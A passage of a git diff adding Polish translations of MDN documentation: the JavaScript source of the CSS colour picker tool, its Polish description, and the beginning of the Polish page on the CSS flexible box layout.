+ start_value; + setValue(obj.topic, value); + }; + + return slider; + }; + + var InputSlider = function(node) { + var min = parseFloat(node.getAttribute('data-min')); + var max = parseFloat(node.getAttribute('data-max')); + var step = parseFloat(node.getAttribute('data-step')); + var value = parseFloat(node.getAttribute('data-value')); + var topic = node.getAttribute('data-topic'); + var unit = node.getAttribute('data-unit'); + var name = node.getAttribute('data-info'); + var sensivity = node.getAttribute('data-sensivity') | 0; + var precision = node.getAttribute('data-precision') | 0; + + this.min = isNaN(min) ? 0 : min; + this.max = isNaN(max) ? 100 : max; + this.precision = precision >= 0 ? precision : 0; + this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision); + this.topic = topic; + this.node = node; + this.unit = unit === null ? '' : unit; + this.sensivity = sensivity > 0 ? sensivity : 5; + value = isNaN(value) ? this.min : value; + + var input = new InputComponent(this); + var slider_left = new SliderComponent(this, -1); + var slider_right = new SliderComponent(this, 1); + + slider_left.className = 'ui-input-slider-left'; + slider_right.className = 'ui-input-slider-right'; + + if (name) { + var info = document.createElement('span'); + info.className = 'ui-input-slider-info'; + info.textContent = name; + node.appendChild(info); + } + + node.appendChild(slider_left); + node.appendChild(input); + node.appendChild(slider_right); + + this.input = input; + sliders[topic] = this; + setValue(topic, value); + }; + + InputSlider.prototype.setInputValue = function setInputValue() { + this.input.value = this.value.toFixed(this.precision) + this.unit; + }; + + var setValue = function setValue(topic, value, send_notify) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + value = parseFloat(value.toFixed(slider.precision)); + + if (value > slider.max) value = slider.max; + if (value < slider.min) value = slider.min; + + slider.value = value; + slider.node.setAttribute('data-value', value); + + slider.setInputValue(); + + if (send_notify === false) + return; + + notify.call(slider); + }; + + var setMax = function setMax(topic, value) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + slider.max = value; + setValue(topic, slider.value); + }; + + var setMin = function setMin(topic, value) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + slider.min = value; + setValue(topic, slider.value); + }; + + var setUnit = function setUnit(topic, unit) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + slider.unit = unit; + setValue(topic, slider.value); + }; + + var setStep = function setStep(topic, value) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + slider.step = parseFloat(value); + setValue(topic, slider.value); + }; + + var setPrecision = function setPrecision(topic, value) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + value = value | 0; + slider.precision = value; + + var step = parseFloat(slider.step.toFixed(value)); + if (step === 0) + slider.step = 1 / Math.pow(10, value); + + setValue(topic, slider.value); + }; + + var setSensivity = function setSensivity(topic, value) { + var slider = sliders[topic]; + if (slider === undefined) + return; + + value = value | 0; + + slider.sensivity = value > 0 ? value : 5; + }; + + var getNode = function getNode(topic) { + return sliders[topic].node; + }; + + var getPrecision = function getPrecision(topic) { + return sliders[topic].precision; + }; + + var getStep = function getStep(topic) { + return sliders[topic].step; + }; + + var subscribe = function subscribe(topic, callback) { + if (subscribers[topic] === undefined) + subscribers[topic] = []; + subscribers[topic].push(callback); + }; + + var unsubscribe = function unsubscribe(topic, callback) { + subscribers[topic].indexOf(callback); + subscribers[topic].splice(index, 1); + }; + + var notify = function notify() { + if (subscribers[this.topic] === undefined) + return; + for (var i = 0; i < subscribers[this.topic].length; i++) + subscribers[this.topic][i](this.value); + }; + + var createSlider = function createSlider(topic, label) { + var slider = document.createElement('div'); + slider.className = 'ui-input-slider'; + slider.setAttribute('data-topic', topic); + + if (label !== undefined) + slider.setAttribute('data-info', label); + + new InputSlider(slider); + return slider; + }; + + var init = function init() { + var elem = document.querySelectorAll('.ui-input-slider'); + var size = elem.length; + for (var i = 0; i < size; i++) + new InputSlider(elem[i]); + }; + + return { + init : init, + setMax : setMax, + setMin : setMin, + setUnit : setUnit, + setStep : setStep, + getNode : getNode, + getStep : getStep, + setValue : setValue, + subscribe : subscribe, + unsubscribe : unsubscribe, + setPrecision : setPrecision, + setSensivity : setSensivity, + getPrecision : getPrecision, + createSlider : createSlider, + }; + +})(); + + +'use strict'; + +window.addEventListener("load", function() { + ColorPickerTool.init(); +}); + +var ColorPickerTool = (function ColorPickerTool() { + + /*========== Get DOM Element By ID ==========*/ + + function getElemById(id) { + return document.getElementById(id); + } + + function allowDropEvent(e) { + e.preventDefault(); + } + + /*========== Make an element resizable relative to it's parent ==========*/ + + var UIComponent = (function UIComponent() { + + function makeResizable(elem, axis) { + var valueX = 0; + var valueY = 0; + var action = 0; + + var resizeStart = function resizeStart(e) { + e.stopPropagation(); + e.preventDefault(); + if (e.button !== 0) + return; + + valueX = e.clientX - elem.clientWidth; + valueY = e.clientY - elem.clientHeight; + + document.body.setAttribute('data-resize', axis); + document.addEventListener('mousemove', mouseMove); + document.addEventListener('mouseup', resizeEnd); + }; + + var mouseMove = function mouseMove(e) { + if (action >= 0) + elem.style.width = e.clientX - valueX + 'px'; + if (action <= 0) + elem.style.height = e.clientY - valueY + 'px'; + }; + + var resizeEnd = function resizeEnd(e) { + if (e.button !== 0) + return; + + document.body.removeAttribute('data-resize', axis); + document.removeEventListener('mousemove', mouseMove); + document.removeEventListener('mouseup', resizeEnd); + }; + + var handle = document.createElement('div'); + handle.className = 'resize-handle'; + + if (axis === 'width') action = 1; + else if (axis === 'height') action = -1; + else axis = 'both'; + + handle.className = 'resize-handle'; + handle.setAttribute('data-resize', axis); + handle.addEventListener('mousedown', resizeStart); + elem.appendChild(handle); + }; + + /*========== Make an element draggable relative to it's parent ==========*/ + + var makeDraggable = function makeDraggable(elem, endFunction) { + + var offsetTop; + var offsetLeft; + + elem.setAttribute('data-draggable', 'true'); + + var dragStart = function dragStart(e) { + e.preventDefault(); + e.stopPropagation(); + + if (e.target.getAttribute('data-draggable') !== 'true' || + e.target !== elem || e.button !== 0) + return; + + offsetLeft = e.clientX - elem.offsetLeft; + offsetTop = e.clientY - elem.offsetTop; + + document.addEventListener('mousemove', mouseDrag); + document.addEventListener('mouseup', dragEnd); + }; + + var dragEnd = function dragEnd(e) { + if (e.button !== 0) + return; + + document.removeEventListener('mousemove', mouseDrag); + document.removeEventListener('mouseup', dragEnd); + }; + + var mouseDrag = function mouseDrag(e) { + elem.style.left = e.clientX - offsetLeft + 'px'; + elem.style.top = e.clientY - offsetTop + 'px'; + }; + + elem.addEventListener('mousedown', dragStart, false); + }; + + return { + makeResizable : makeResizable, + makeDraggable : makeDraggable + }; + + })(); + + /*========== Color Class ==========*/ + + var Color = UIColorPicker.Color; + var HSLColor = UIColorPicker.HSLColor; + + /** + * ColorPalette + */ + var ColorPalette = (function ColorPalette() { + + var samples = []; + var color_palette; + var complementary; + + var hideNode = function(node) { + node.setAttribute('data-hidden', 'true'); + }; + + var ColorSample = function ColorSample(id) { + var node = document.createElement('div'); + node.className = 'sample'; + + this.uid = samples.length; + this.node = node; + this.color = new Color(); + + node.setAttribute('sample-id', this.uid); + node.setAttribute('draggable', 'true'); + node.addEventListener('dragstart', this.dragStart.bind(this)); + node.addEventListener('click', this.pickColor.bind(this)); + + samples.push(this); + }; + + ColorSample.prototype.updateBgColor = function updateBgColor() { + this.node.style.backgroundColor = this.color.getColor(); + }; + + ColorSample.prototype.updateColor = function updateColor(color) { + this.color.copy(color); + this.updateBgColor(); + }; + + ColorSample.prototype.updateHue = function updateHue(color, degree, steps) { + this.color.copy(color); + var hue = (steps * degree + this.color.hue) % 360; + if (hue < 0) hue += 360; + this.color.setHue(hue); + this.updateBgColor(); + }; + + ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) { + var saturation = color.saturation + value * steps; + if (saturation <= 0) { + this.node.setAttribute('data-hidden', 'true'); + return; + } + + this.node.removeAttribute('data-hidden'); + this.color.copy(color); + this.color.setSaturation(saturation); + this.updateBgColor(); + }; + + ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) { + var lightness = color.lightness + value * steps; + if (lightness <= 0) { + this.node.setAttribute('data-hidden', 'true'); + return; + } + this.node.removeAttribute('data-hidden'); + this.color.copy(color); + this.color.setLightness(lightness); + this.updateBgColor(); + }; + + ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) { + var brightness = color.value + value * steps; + if (brightness <= 0) { + this.node.setAttribute('data-hidden', 'true'); + return; + } + this.node.removeAttribute('data-hidden'); + this.color.copy(color); + this.color.setValue(brightness); + this.updateBgColor(); + }; + + ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) { + var alpha = parseFloat(color.a) + value * steps; + if (alpha <= 0) { + this.node.setAttribute('data-hidden', 'true'); + return; + } + this.node.removeAttribute('data-hidden'); + this.color.copy(color); + this.color.a = parseFloat(alpha.toFixed(2)); + this.updateBgColor(); + }; + + ColorSample.prototype.pickColor = function pickColor() { + UIColorPicker.setColor('picker', this.color); + }; + + ColorSample.prototype.dragStart = function dragStart(e) { + e.dataTransfer.setData('sampleID', this.uid); + e.dataTransfer.setData('location', 'palette-samples'); + }; + + var Palette = function Palette(text, size) { + this.samples = []; + this.locked = false; + + var palette = document.createElement('div'); + var title = document.createElement('div'); + var controls = document.createElement('div'); + var container = document.createElement('div'); + var lock = document.createElement('div'); + + container.className = 'container'; + title.className = 'title'; + palette.className = 'palette'; + controls.className = 'controls'; + lock.className = 'lock'; + title.textContent = text; + + controls.appendChild(lock); + container.appendChild(title); + container.appendChild(controls); + container.appendChild(palette); + + lock.addEventListener('click', function () { + this.locked = !this.locked; + lock.setAttribute('locked-state', this.locked); + }.bind(this)); + + for(var i = 0; i < size; i++) { + var sample = new ColorSample(); + this.samples.push(sample); + palette.appendChild(sample.node); + } + + this.container = container; + this.title = title; + }; + + var createHuePalette = function createHuePalette() { + var palette = new Palette('Hue', 12); + + UIColorPicker.subscribe('picker', function(color) { + if (palette.locked === true) + return; + + for(var i = 0; i < 12; i++) { + palette.samples[i].updateHue(color, 30, i); + } + }); + + color_palette.appendChild(palette.container); + }; + + var createSaturationPalette = function createSaturationPalette() { + var palette = new Palette('Saturation', 11); + + UIColorPicker.subscribe('picker', function(color) { + if (palette.locked === true) + return; + + for(var i = 0; i < 11; i++) { + palette.samples[i].updateSaturation(color, -10, i); + } + }); + + color_palette.appendChild(palette.container); + }; + + /* Brightness or Lightness - depends on the picker mode */ + var createVLPalette = function createSaturationPalette() { + var palette = new Palette('Lightness', 11); + + UIColorPicker.subscribe('picker', function(color) { + if (palette.locked === true) + return; + + if(color.format === 'HSL') { + palette.title.textContent = 'Lightness'; + for(var i = 0; i < 11; i++) + palette.samples[i].updateLightness(color, -10, i); + } + else { + palette.title.textContent = 'Value'; + for(var i = 0; i < 11; i++) + palette.samples[i].updateBrightness(color, -10, i); + } + }); + + color_palette.appendChild(palette.container); + }; + + var isBlankPalette = function isBlankPalette(container, value) { + if (value === 0) { + container.setAttribute('data-collapsed', 'true'); + return true; + } + + container.removeAttribute('data-collapsed'); + return false; + }; + + var createAlphaPalette = function createAlphaPalette() { + var palette = new Palette('Alpha', 10); + + UIColorPicker.subscribe('picker', function(color) { + if (palette.locked === true) + return; + + for(var i = 0; i < 10; i++) { + palette.samples[i].updateAlpha(color, -0.1, i); + } + }); + + color_palette.appendChild(palette.container); + }; + + var getSampleColor = function getSampleColor(id) { + if (samples[id] !== undefined && samples[id]!== null) + return new Color(samples[id].color); + }; + + var init = function init() { + color_palette = getElemById('color-palette'); + + createHuePalette(); + createSaturationPalette(); + createVLPalette(); + createAlphaPalette(); + + }; + + return { + init : init, + getSampleColor : getSampleColor + }; + + })(); + + /** + * ColorInfo + */ + var ColorInfo = (function ColorInfo() { + + var info_box; + var select; + var RGBA; + var HEXA; + var HSLA; + + var updateInfo = function updateInfo(color) { + if (color.a | 0 === 1) { + RGBA.info.textContent = 'RGB'; + HSLA.info.textContent = 'HSL'; + } + else { + RGBA.info.textContent = 'RGBA'; + HSLA.info.textContent = 'HSLA'; + } + + RGBA.value.value = color.getRGBA(); + HSLA.value.value = color.getHSLA(); + HEXA.value.value = color.getHexa(); + }; + + var InfoProperty = function InfoProperty(info) { + + var node = document.createElement('div'); + var title = document.createElement('div'); + var value = document.createElement('input'); + var copy = document.createElement('div'); + + node.className = 'property'; + title.className = 'type'; + value.className = 'value'; + copy.className = 'copy'; + + title.textContent = info; + value.setAttribute('type', 'text'); + + copy.addEventListener('click', function() { + value.select(); + }); + + node.appendChild(title); + node.appendChild(value); + node.appendChild(copy); + + this.node = node; + this.value = value; + this.info = title; + + info_box.appendChild(node); + }; + + var init = function init() { + + info_box = getElemById('color-info'); + + RGBA = new InfoProperty('RGBA'); + HSLA = new InfoProperty('HSLA'); + HEXA = new InfoProperty('HEXA'); + + UIColorPicker.subscribe('picker', updateInfo); + + }; + + return { + init: init + }; + + })(); + + /** + * ColorPicker Samples + */ + var ColorPickerSamples = (function ColorPickerSamples() { + + var samples = []; + var nr_samples = 0; + var active = null; + var container = null; + var samples_per_line = 10; + var trash_can = null; + var base_color = new HSLColor(0, 50, 100); + var add_btn; + var add_btn_pos; + + var ColorSample = function ColorSample() { + var node = document.createElement('div'); + node.className = 'sample'; + + this.uid = samples.length; + this.index = nr_samples++; + this.node = node; + this.color = new Color(base_color); + + node.setAttribute('sample-id', this.uid); + node.setAttribute('draggable', 'true'); + + node.addEventListener('dragstart', this.dragStart.bind(this)); + node.addEventListener('dragover' , allowDropEvent); + node.addEventListener('drop' , this.dragDrop.bind(this)); + + this.updatePosition(this.index); + this.updateBgColor(); + samples.push(this); + }; + + ColorSample.prototype.updateBgColor = function updateBgColor() { + this.node.style.backgroundColor = this.color.getColor(); + }; + + ColorSample.prototype.updatePosition = function updatePosition(index) { + this.index = index; + this.posY = 5 + ((index / samples_per_line) | 0) * 52; + this.posX = 5 + ((index % samples_per_line) | 0) * 52; + this.node.style.top = this.posY + 'px'; + this.node.style.left = this.posX + 'px'; + }; + + ColorSample.prototype.updateColor = function updateColor(color) { + this.color.copy(color); + this.updateBgColor(); + }; + + ColorSample.prototype.activate = function activate() { + UIColorPicker.setColor('picker', this.color); + this.node.setAttribute('data-active', 'true'); + }; + + ColorSample.prototype.deactivate = function deactivate() { + this.node.removeAttribute('data-active'); + }; + + ColorSample.prototype.dragStart = function dragStart(e) { + e.dataTransfer.setData('sampleID', this.uid); + e.dataTransfer.setData('location', 'picker-samples'); + }; + + ColorSample.prototype.dragDrop = function dragDrop(e) { + e.stopPropagation(); + this.color = Tool.getSampleColorFrom(e); + this.updateBgColor(); + }; + + ColorSample.prototype.deleteSample = function deleteSample() { + container.removeChild(this.node); + samples[this.uid] = null; + nr_samples--; + }; + + var updateUI = function updateUI() { + updateContainerProp(); + + var index = 0; + var nr = samples.length; + for (var i=0; i < nr; i++) + if (samples[i] !== null) { + samples[i].updatePosition(index); + index++; + } + + AddSampleButton.updatePosition(index); + }; + + var deleteSample = function deleteSample(e) { + trash_can.parentElement.setAttribute('drag-state', 'none'); + + var location = e.dataTransfer.getData('location'); + if (location !== 'picker-samples') + return; + + var sampleID = e.dataTransfer.getData('sampleID'); + samples[sampleID].deleteSample(); + console.log(samples); + + updateUI(); + }; + + var createDropSample = function createDropSample() { + var sample = document.createElement('div'); + sample.id = 'drop-effect-sample'; + sample.className = 'sample'; + container.appendChild(sample); + }; + + var setActivateSample = function setActivateSample(e) { + if (e.target.className !== 'sample') + return; + + unsetActiveSample(active); + Tool.unsetVoidSample(); + CanvasSamples.unsetActiveSample(); + active = samples[e.target.getAttribute('sample-id')]; + active.activate(); + }; + + var unsetActiveSample = function unsetActiveSample() { + if (active) + active.deactivate(); + active = null; + }; + + var getSampleColor = function getSampleColor(id) { + if (samples[id] !== undefined && samples[id]!== null) + return new Color(samples[id].color); + }; + + var updateContainerProp = function updateContainerProp() { + samples_per_line = ((container.clientWidth - 5) / 52) | 0; + var height = 52 * (1 + (nr_samples / samples_per_line) | 0); + container.style.height = height + 10 + 'px'; + }; + + var AddSampleButton = (function AddSampleButton() { + var node; + var _index = 0; + var _posX; + var _posY; + + var updatePosition = function updatePosition(index) { + _index = index; + _posY = 5 + ((index / samples_per_line) | 0) * 52; + _posX = 5 + ((index % samples_per_line) | 0) * 52; + + node.style.top = _posY + 'px'; + node.style.left = _posX + 'px'; + }; + + var addButtonClick = function addButtonClick() { + var sample = new ColorSample(); + container.appendChild(sample.node); + updatePosition(_index + 1); + updateUI(); + }; + + var init = function init() { + node = document.createElement('div'); + var icon = document.createElement('div'); + + node.className = 'sample'; + icon.id = 'add-icon'; + node.appendChild(icon); + node.addEventListener('click', addButtonClick); + + updatePosition(0); + container.appendChild(node); + }; + + return { + init : init, + updatePosition : updatePosition + }; + })(); + + var init = function init() { + container = getElemById('picker-samples'); + trash_can = getElemById('trash-can'); + + AddSampleButton.init(); + + for (var i=0; i<16; i++) { + var sample = new ColorSample(); + container.appendChild(sample.node); + } + + AddSampleButton.updatePosition(samples.length); + updateUI(); + + active = samples[0]; + active.activate(); + + container.addEventListener('click', setActivateSample); + + trash_can.addEventListener('dragover', allowDropEvent); + trash_can.addEventListener('dragenter', function() { + this.parentElement.setAttribute('drag-state', 'enter'); + }); + trash_can.addEventListener('dragleave', function(e) { + this.parentElement.setAttribute('drag-state', 'none'); + }); + trash_can.addEventListener('drop', deleteSample); + + UIColorPicker.subscribe('picker', function(color) { + if (active) + active.updateColor(color); + }); + + }; + + return { + init : init, + getSampleColor : getSampleColor, + unsetActiveSample : unsetActiveSample + }; + + })(); + + /** + * Canvas Samples + */ + var CanvasSamples = (function CanvasSamples() { + + var active = null; + var canvas = null; + var samples = []; + var zindex = null; + var tutorial = true; + + var CanvasSample = function CanvasSample(color, posX, posY) { + + var node = document.createElement('div'); + var pick = document.createElement('div'); + var delete_btn = document.createElement('div'); + node.className = 'sample'; + pick.className = 'pick'; + delete_btn.className = 'delete'; + + this.uid = samples.length; + this.node = node; + this.color = color; + this.updateBgColor(); + this.zIndex = 1; + + node.style.top = posY - 50 + 'px'; + node.style.left = posX - 50 + 'px'; + node.setAttribute('sample-id', this.uid); + + node.appendChild(pick); + node.appendChild(delete_btn); + + var activate = function activate() { + setActiveSample(this); + }.bind(this); + + node.addEventListener('dblclick', activate); + pick.addEventListener('click', activate); + delete_btn.addEventListener('click', this.deleteSample.bind(this)); + + UIComponent.makeDraggable(node); + UIComponent.makeResizable(node); + + samples.push(this); + canvas.appendChild(node); + return this; + }; + + CanvasSample.prototype.updateBgColor = function updateBgColor() { + this.node.style.backgroundColor = this.color.getColor(); + }; + + CanvasSample.prototype.updateColor = function updateColor(color) { + this.color.copy(color); + this.updateBgColor(); + }; + + CanvasSample.prototype.updateZIndex = function updateZIndex(value) { + this.zIndex = value; + this.node.style.zIndex = value; + }; + + CanvasSample.prototype.activate = function activate() { + this.node.setAttribute('data-active', 'true'); + zindex.setAttribute('data-active', 'true'); + + UIColorPicker.setColor('picker', this.color); + InputSliderManager.setValue('z-index', this.zIndex); + }; + + CanvasSample.prototype.deactivate = function deactivate() { + this.node.removeAttribute('data-active'); + zindex.removeAttribute('data-active'); + }; + + CanvasSample.prototype.deleteSample = function deleteSample() { + if (active === this) + unsetActiveSample(); + canvas.removeChild(this.node); + samples[this.uid] = null; + }; + + CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) { + this.node.style.top = posY - this.startY + 'px'; + this.node.style.left = posX - this.startX + 'px'; + }; + + var canvasDropEvent = function canvasDropEvent(e) { + var color = Tool.getSampleColorFrom(e); + + if (color) { + var offsetX = e.pageX - canvas.offsetLeft; + var offsetY = e.pageY - canvas.offsetTop; + var sample = new CanvasSample(color, offsetX, offsetY); + if (tutorial) { + tutorial = false; + canvas.removeAttribute('data-tutorial'); + var info = new CanvasSample(new Color(), 100, 100); + info.node.setAttribute('data-tutorial', 'dblclick'); + } + } + + }; + + var setActiveSample = function setActiveSample(sample) { + ColorPickerSamples.unsetActiveSample(); + Tool.unsetVoidSample(); + unsetActiveSample(); + active = sample; + active.activate(); + }; + + var unsetActiveSample = function unsetActiveSample() { + if (active) + active.deactivate(); + active = null; + }; + + var createToggleBgButton = function createToggleBgButton() { + var button = document.createElement('div'); + var state = false; + button.className = 'toggle-bg'; + canvas.appendChild(button); + + button.addEventListener('click', function() { + console.log(state); + state = !state; + canvas.setAttribute('data-bg', state); + }); + }; + + var init = function init() { + canvas = getElemById('canvas'); + zindex = getElemById('zindex'); + + canvas.addEventListener('dragover', allowDropEvent); + canvas.addEventListener('drop', canvasDropEvent); + + createToggleBgButton(); + + UIColorPicker.subscribe('picker', function(color) { + if (active) active.updateColor(color); + }); + + InputSliderManager.subscribe('z-index', function (value) { + if (active) active.updateZIndex(value); + }); + + UIComponent.makeResizable(canvas, 'height'); + }; + + return { + init : init, + unsetActiveSample : unsetActiveSample + }; + + })(); + + var StateButton = function StateButton(node, state) { + this.state = false; + this.callback = null; + + node.addEventListener('click', function() { + this.state = !this.state; + if (typeof this.callback === "function") + this.callback(this.state); + }.bind(this)); + }; + + StateButton.prototype.set = function set() { + this.state = true; + if (typeof this.callback === "function") + this.callback(this.state); + }; + + StateButton.prototype.unset = function unset() { + this.state = false; + if (typeof this.callback === "function") + this.callback(this.state); + }; + + StateButton.prototype.subscribe = function subscribe(func) { + this.callback = func; + }; + + + /** + * Tool + */ + var Tool = (function Tool() { + + var samples = []; + var controls = null; + var void_sw; + + var createPickerModeSwitch = function createPickerModeSwitch() { + var parent = getElemById('controls'); + var icon = document.createElement('div'); + var button = document.createElement('div'); + var hsv = document.createElement('div'); + var hsl = document.createElement('div'); + var active = null; + + icon.className = 'icon picker-icon'; + button.className = 'switch'; + button.appendChild(hsv); + button.appendChild(hsl); + + hsv.textContent = 'HSV'; + hsl.textContent = 'HSL'; + + active = hsl; + active.setAttribute('data-active', 'true'); + + function switchPickingModeTo(elem) { + active.removeAttribute('data-active'); + active = elem; + active.setAttribute('data-active', 'true'); + UIColorPicker.setPickerMode('picker', active.textContent); + }; + + var picker_sw = new StateButton(icon); + picker_sw.subscribe(function() { + if (active === hsv) + switchPickingModeTo(hsl); + else + switchPickingModeTo(hsv); + }); + + hsv.addEventListener('click', function() { + switchPickingModeTo(hsv); + }); + hsl.addEventListener('click', function() { + switchPickingModeTo(hsl); + }); + + parent.appendChild(icon); + parent.appendChild(button); + }; + + var setPickerDragAndDrop = function setPickerDragAndDrop() { + var preview = document.querySelector('#picker .preview-color'); + var picking_area = document.querySelector('#picker .picking-area'); + + preview.setAttribute('draggable', 'true'); + preview.addEventListener('drop', drop); + preview.addEventListener('dragstart', dragStart); + preview.addEventListener('dragover', allowDropEvent); + + picking_area.addEventListener('drop', drop); + picking_area.addEventListener('dragover', allowDropEvent); + + function drop(e) { + var color = getSampleColorFrom(e); + UIColorPicker.setColor('picker', color); + }; + + function dragStart(e) { + e.dataTransfer.setData('sampleID', 'picker'); + e.dataTransfer.setData('location', 'picker'); + }; + }; + + var getSampleColorFrom = function getSampleColorFrom(e) { + var sampleID = e.dataTransfer.getData('sampleID'); + var location = e.dataTransfer.getData('location'); + + if (location === 'picker') + return UIColorPicker.getColor(sampleID); + if (location === 'picker-samples') + return ColorPickerSamples.getSampleColor(sampleID); + if (location === 'palette-samples') + return ColorPalette.getSampleColor(sampleID); + }; + + var setVoidSwitch = function setVoidSwitch() { + var void_sample = getElemById('void-sample'); + void_sw = new StateButton(void_sample); + void_sw.subscribe( function (state) { + void_sample.setAttribute('data-active', state); + if (state === true) { + ColorPickerSamples.unsetActiveSample(); + CanvasSamples.unsetActiveSample(); + } + }); + }; + + var unsetVoidSample = function unsetVoidSample() { + void_sw.unset(); + }; + + var init = function init() { + controls = getElemById('controls'); + + var color = new Color(); + color.setHSL(0, 51, 51); + UIColorPicker.setColor('picker', color); + + setPickerDragAndDrop(); + createPickerModeSwitch(); + setVoidSwitch(); + }; + + return { + init : init, + unsetVoidSample : unsetVoidSample, + getSampleColorFrom : getSampleColorFrom + }; + + })(); + + var init = function init() { + UIColorPicker.init(); + InputSliderManager.init(); + ColorInfo.init(); + ColorPalette.init(); + ColorPickerSamples.init(); + CanvasSamples.init(); + Tool.init(); + }; + + return { + init : init + }; + +})(); + +</pre> +</div> + +<p>{{CSSRef}}</p> + +<p><span class="seoSummary">To narzędzie ułatwia tworzenie, wybieranie i eksperymentowanie z niestandadrowymi kolorami w sieci.</span> Umożliwia także konwersję pomiędzy różnymi <a href="/en-US/docs/Web/CSS/color_value">formatami kolorów</a> obsługiwanymi przez <a href="/en-US/docs/Web/CSS">CSS</a>, w tym: kolory HEXA, RGB (Red/Green/Blue) i HSL (Hue/Saturation/Lightness). Możliwa jest też kontrola kanału alpha w formatach RGB (rgba) i HSL.</p> + +<p>Każdy wybrany kolor prezentowany jest we wszystkich trzech standardowych formatach CSS . Dodatkowo, bazując na obecnie wybranym kolorze, tworzona jest paleta HSL, HSV oraz alpha. Okno wyboru koloru "zakraplacz" można przełączać pomiędzy formatami HSL i HSV. Przeciągając kolory do pojemnika na dole i poruszając nimi nad sobą możesz przetestować jak wyglądają obok siebie. Zmieniaj względną wartość z-index aby przesunąc kolor na wierzch lub schować za innym.</p> + +<p>To narzędzie pozwoli ci odnależć idealne kolory CSS do wykorzystania w twoim <a href="/en-US/docs/Web/HTML">HTML</a>.</p> + +<div>{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}</div> + +<p>Wygenerowane kolory można użyć wszędzie gdzie potrzeba w obrębie CSS i HTML, chyba że stwierdzono inaczej.</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<p>Więcej o używaniu kolrów, sprawdź:</p> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Applying_color">Stosowanie kolrów do elementów HTML za pomocą CSS</a></li> + <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Podstawy stylizacji czcionek</a></li> + <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Stylizacja krawędzi przy użyciu CSS</a></li> + <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Zmienianie stylów tła za pomocą CSS</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Kolor i kontrast</a></li> +</ul> diff --git a/files/pl/web/css/css_flexible_box_layout/index.html b/files/pl/web/css/css_flexible_box_layout/index.html new file mode 100644 index 0000000000..ae8c92e4d8 --- /dev/null +++ b/files/pl/web/css/css_flexible_box_layout/index.html @@ -0,0 +1,156 @@ +--- +title: Elastyczny model pudełkowy CSS +slug: Web/CSS/CSS_Flexible_Box_Layout +translation_of: Web/CSS/CSS_Flexible_Box_Layout +--- +<div>{{CSSRef}}</div> + +<p class="summary"><strong>Elastyczny model pudełkowy CSS </strong>jest modułem <a href="/en-US/docs/Web/CSS">CSS</a> definiującym model pudełkowy CSS zoptymalizowany do projektowania interfejsów użytkownika i układania elementów wzdłuż osi. W elastycznym modelu pudełkowym dzieci elastycznego kontenera mogą być ułożone w dowolnym kierunku oraz zmieniać swoje rozmiary albo rosnąc w celu zajęcia nieużytej przestrzeni albo kurcząc się by uniknąć przepełnienia kontenera. Zarówno horyzontalne jak i wertykalne ułożenie dzieci może być łatwo kontrolowane.</p> + +<h2 id="Prosty_przykład">Prosty przykład</h2> + +<p>W poniższym przykładzie kontenerowi ustawiono <code>display: flex</code> co oznacza, że trójka dzieci stała się elastycznymi elementami. Wartość <code>justify-content</code> została ustawiona na <code>space-between</code> w celu równego rozproszenia elementów wzdłuż głównej osi. Między elementami umieszczona zostanie jednakowa ilość przestrzeni, a prawy i lewy element zostaną wypchnięte do krawędzi kontenera. Ponadto elementy są rozciągnięte na całą długość osi prostopadłej z powodu domyślnej wartości <code>align-items</code> wynoszącej <code>stretch</code>. Elementy rozciągają się do maksymanlej wysokości elastycznego kontenera sprawiając, że każdy z nich ma wysokość najwyższego.</p> + +<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p> + +<h2 id="Odnośniki">Odnośniki</h2> + +<h3 id="Atrybuty_CSS">Atrybuty CSS</h3> + +<div class="index"> +<ul> + <li>{{cssxref("align-content")}}</li> + <li>{{cssxref("align-items")}}</li> + <li>{{cssxref("align-self")}}</li> + <li>{{cssxref("flex")}}</li> + <li>{{cssxref("flex-basis")}}</li> + <li>{{cssxref("flex-direction")}}</li> + <li>{{cssxref("flex-flow")}}</li> + <li>{{cssxref("flex-grow")}}</li> + <li>{{cssxref("flex-shrink")}}</li> + <li>{{cssxref("flex-wrap")}}</li> + <li>{{cssxref("justify-content")}}</li> + <li>{{cssxref("order")}}</li> +</ul> +</div> + +<h3 id="Słownik_pojęć">Słownik pojęć</h3> + +<div class="index"> +<ul> + <li><a href="/en-US/docs/Glossary/Flexbox">Flexbox</a></li> + <li><a href="/en-US/docs/Glossary/Flex_Container">Elastyczny kontener</a></li> + <li><a href="/en-US/docs/Glossary/Flex_Item">Element flex</a></li> + <li><a href="/en-US/docs/Glossary/Main_Axis">Oś główna</a></li> + <li><a href="/en-US/docs/Glossary/Cross_Axis">Oś poprzeczna</a></li> + <li><a href="/en-US/docs/Glossary/Flex">Flex</a></li> +</ul> +</div> + +<h2 id="Przewodniki">Przewodniki</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Podstawowe zagadnienia Flexboksa</a></dt> + <dd>Przegląd funkcji flexboksa</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Powiązania flexboksa z innymi sposobami układu</a></dt> + <dd>Jak flexbox jest powiązany z innymi rodzajami układu i innymi specyfikacjami CSS</dd> + <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Rozmieszczanie elementów w elastycznym kontenerze</a></dt> + <dd>Jak atrybuty ustawiania elementów dziłają z 